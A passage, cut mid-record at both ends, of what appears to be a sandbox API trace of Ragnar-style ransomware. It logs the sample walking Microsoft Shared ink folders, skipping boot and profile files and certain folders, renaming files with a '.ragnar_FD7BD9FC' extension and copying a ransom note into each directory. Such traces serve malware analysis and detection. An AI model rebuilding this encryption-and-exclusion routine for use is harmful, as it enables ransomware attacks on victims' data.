nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0054.767] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0054.767] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x72e399e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x72e399e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.767] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0054.767] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0054.767] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f4a0c5f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f4a0c5f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea.xml", cAlternateFileName="")) returned 1 [0054.767] lstrcmpiW (lpString1="ea.xml", lpString2=".") returned 1 [0054.767] lstrcmpiW (lpString1="ea.xml", lpString2="..") returned 1 [0054.767] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x45e, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypadbase.xml", cAlternateFileName="")) returned 1 [0054.767] lstrcmpiW (lpString1="keypadbase.xml", lpString2=".") returned 1 [0054.767] lstrcmpiW (lpString1="keypadbase.xml", lpString2="..") returned 1 [0054.767] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 1 [0054.767] lstrcmpiW (lpString1="kor-kor.xml", lpString2=".") returned 1 [0054.767] lstrcmpiW (lpString1="kor-kor.xml", lpString2="..") returned 1 [0054.767] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72e399e0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x72e399e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0054.768] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0054.768] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0054.768] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72e399e0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x72e399e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0054.768] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0054.768] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x72e399e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x72e399e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0054.768] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x72e399e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x72e399e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.768] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f4a0c5f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f4a0c5f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea.xml", cAlternateFileName="")) returned 1 [0054.768] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x4f [0054.768] lstrcpyW (in: lpString1=0x1ea0a8, lpString2="ea.xml" | out: lpString1="ea.xml") returned="ea.xml" [0054.768] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned=".xml" [0054.768] lstrcmpiW (lpString1="ea.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0054.768] lstrcmpiW (lpString1="ea.xml", lpString2="autorun.inf") returned 1 [0054.768] lstrcmpiW (lpString1="ea.xml", lpString2="boot.ini") returned 1 [0054.768] lstrcmpiW (lpString1="ea.xml", lpString2="bootfont.bin") returned 1 [0054.768] lstrcmpiW (lpString1="ea.xml", lpString2="bootsect.bak") returned 1 [0054.768] lstrcmpiW (lpString1="ea.xml", lpString2="bootmgr") returned 1 [0054.768] lstrcmpiW (lpString1="ea.xml", lpString2="bootmgr.efi") returned 1 [0054.768] lstrcmpiW (lpString1="ea.xml", lpString2="bootmgfw.efi") returned 1 [0054.768] lstrcmpiW (lpString1="ea.xml", lpString2="desktop.ini") returned 1 [0054.768] lstrcmpiW (lpString1="ea.xml", lpString2="iconcache.db") returned -1 [0054.768] lstrcmpiW (lpString1="ea.xml", lpString2="ntldr") returned -1 [0054.768] lstrcmpiW (lpString1="ea.xml", lpString2="ntuser.dat") returned -1 [0054.768] lstrcmpiW (lpString1="ea.xml", lpString2="ntuser.dat.log") returned -1 [0054.768] lstrcmpiW (lpString1="ea.xml", lpString2="ntuser.ini") returned -1 [0054.768] lstrcmpiW (lpString1="ea.xml", lpString2="thumbs.db") returned -1 [0054.768] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0054.768] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0054.768] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0054.769] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0054.769] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0054.769] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0054.769] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0054.769] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml")) returned 0x20 [0054.769] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0054.769] CloseHandle (hObject=0xffffffff) returned 0 [0054.769] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" [0054.769] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml.ragnar_FD7BD9FC" [0054.769] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0054.769] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x45e, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypadbase.xml", cAlternateFileName="")) returned 1 [0054.769] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x4f [0054.769] lstrcpyW (in: lpString1=0x1ea0a8, lpString2="keypadbase.xml" | out: lpString1="keypadbase.xml") returned="keypadbase.xml" [0054.769] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned=".xml" [0054.769] lstrcmpiW (lpString1="keypadbase.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0054.769] lstrcmpiW (lpString1="keypadbase.xml", lpString2="autorun.inf") returned 1 [0054.769] lstrcmpiW (lpString1="keypadbase.xml", lpString2="boot.ini") returned 1 [0054.769] lstrcmpiW (lpString1="keypadbase.xml", lpString2="bootfont.bin") returned 1 [0054.769] lstrcmpiW (lpString1="keypadbase.xml", lpString2="bootsect.bak") returned 1 [0054.769] lstrcmpiW (lpString1="keypadbase.xml", lpString2="bootmgr") returned 1 [0054.769] lstrcmpiW (lpString1="keypadbase.xml", lpString2="bootmgr.efi") returned 1 [0054.769] lstrcmpiW (lpString1="keypadbase.xml", lpString2="bootmgfw.efi") returned 1 [0054.769] lstrcmpiW (lpString1="keypadbase.xml", lpString2="desktop.ini") returned 1 [0054.770] lstrcmpiW (lpString1="keypadbase.xml", lpString2="iconcache.db") returned 1 [0054.770] lstrcmpiW (lpString1="keypadbase.xml", lpString2="ntldr") returned -1 [0054.770] lstrcmpiW (lpString1="keypadbase.xml", lpString2="ntuser.dat") returned -1 [0054.770] lstrcmpiW (lpString1="keypadbase.xml", lpString2="ntuser.dat.log") returned -1 [0054.770] lstrcmpiW (lpString1="keypadbase.xml", lpString2="ntuser.ini") returned -1 [0054.770] lstrcmpiW (lpString1="keypadbase.xml", lpString2="thumbs.db") returned -1 [0054.770] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0054.770] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0054.770] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0054.770] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0054.770] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0054.770] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0054.770] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0054.770] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml")) returned 0x20 [0054.811] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0054.812] CloseHandle (hObject=0xffffffff) returned 0 [0054.812] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" [0054.812] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.ragnar_FD7BD9FC" [0054.812] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0054.812] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 1 [0054.812] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x4f [0054.812] lstrcpyW (in: lpString1=0x1ea0a8, lpString2="kor-kor.xml" | out: lpString1="kor-kor.xml") returned="kor-kor.xml" [0054.812] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned=".xml" [0054.812] lstrcmpiW (lpString1="kor-kor.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0054.812] lstrcmpiW (lpString1="kor-kor.xml", lpString2="autorun.inf") returned 1 [0054.812] lstrcmpiW (lpString1="kor-kor.xml", lpString2="boot.ini") returned 1 [0054.812] lstrcmpiW (lpString1="kor-kor.xml", lpString2="bootfont.bin") returned 1 [0054.812] lstrcmpiW (lpString1="kor-kor.xml", lpString2="bootsect.bak") returned 1 [0054.812] lstrcmpiW (lpString1="kor-kor.xml", lpString2="bootmgr") returned 1 [0054.812] lstrcmpiW (lpString1="kor-kor.xml", lpString2="bootmgr.efi") returned 1 [0054.812] lstrcmpiW (lpString1="kor-kor.xml", lpString2="bootmgfw.efi") returned 1 [0054.812] lstrcmpiW (lpString1="kor-kor.xml", lpString2="desktop.ini") returned 1 [0054.812] lstrcmpiW (lpString1="kor-kor.xml", lpString2="iconcache.db") returned 1 [0054.812] lstrcmpiW (lpString1="kor-kor.xml", lpString2="ntldr") returned -1 [0054.812] lstrcmpiW (lpString1="kor-kor.xml", lpString2="ntuser.dat") returned -1 [0054.812] lstrcmpiW (lpString1="kor-kor.xml", lpString2="ntuser.dat.log") returned -1 [0054.812] lstrcmpiW (lpString1="kor-kor.xml", lpString2="ntuser.ini") returned -1 [0054.812] lstrcmpiW (lpString1="kor-kor.xml", lpString2="thumbs.db") returned -1 [0054.812] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0054.812] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0054.812] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0054.812] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0054.812] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0054.812] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0054.812] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0054.813] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml")) returned 0x20 [0054.813] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0054.813] CloseHandle (hObject=0xffffffff) returned 0 [0054.813] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" [0054.813] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.ragnar_FD7BD9FC" [0054.813] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0054.813] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72e399e0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x72e399e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0054.813] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x4f [0054.813] lstrcpyW (in: lpString1=0x1ea0a8, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0054.813] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\RGNR_FD7BD9FC.txt") returned=".txt" [0054.813] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0054.813] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72e399e0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x72e399e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0054.813] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0054.813] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f47ab01, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f47ab01, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f47ab01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad.xml", cAlternateFileName="")) returned 1 [0054.813] lstrcmpiW (lpString1="keypad.xml", lpString2=".") returned 1 [0054.813] lstrcmpiW (lpString1="keypad.xml", lpString2="..") returned 1 [0054.813] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="main", cAlternateFileName="")) returned 1 [0054.813] lstrcmpiW (lpString1="main", lpString2=".") returned 1 [0054.813] lstrcmpiW (lpString1="main", lpString2="..") returned 1 [0054.813] lstrcmpiW (lpString1="main", lpString2="Windows") returned -1 [0054.814] lstrcmpiW (lpString1="main", lpString2="Windows.old") returned -1 [0054.814] lstrcmpiW (lpString1="main", lpString2="Tor browser") returned -1 [0054.814] lstrcmpiW (lpString1="main", lpString2="Internet Explorer") returned 1 [0054.814] lstrcmpiW (lpString1="main", lpString2="Google") returned 1 [0054.814] lstrcmpiW (lpString1="main", lpString2="Opera") returned -1 [0054.814] lstrcmpiW (lpString1="main", lpString2="Opera Software") returned -1 [0054.814] lstrcmpiW (lpString1="main", lpString2="Mozilla") returned -1 [0054.814] lstrcmpiW (lpString1="main", lpString2="Mozilla Firefox") returned -1 [0054.814] lstrcmpiW (lpString1="main", lpString2="$Recycle.Bin") returned 1 [0054.814] lstrcmpiW (lpString1="main", lpString2="ProgramData") returned -1 [0054.814] lstrcmpiW (lpString1="main", lpString2="All Users") returned 1 [0054.814] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0054.814] lstrcpyW (in: lpString1=0x1eab72, lpString2="main" | out: lpString1="main") returned="main" [0054.814] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\" [0054.814] lstrcpyW (in: lpString1=0x1ea8dc, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\" [0054.814] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\RGNR_FD7BD9FC.txt" [0054.814] CopyFileW 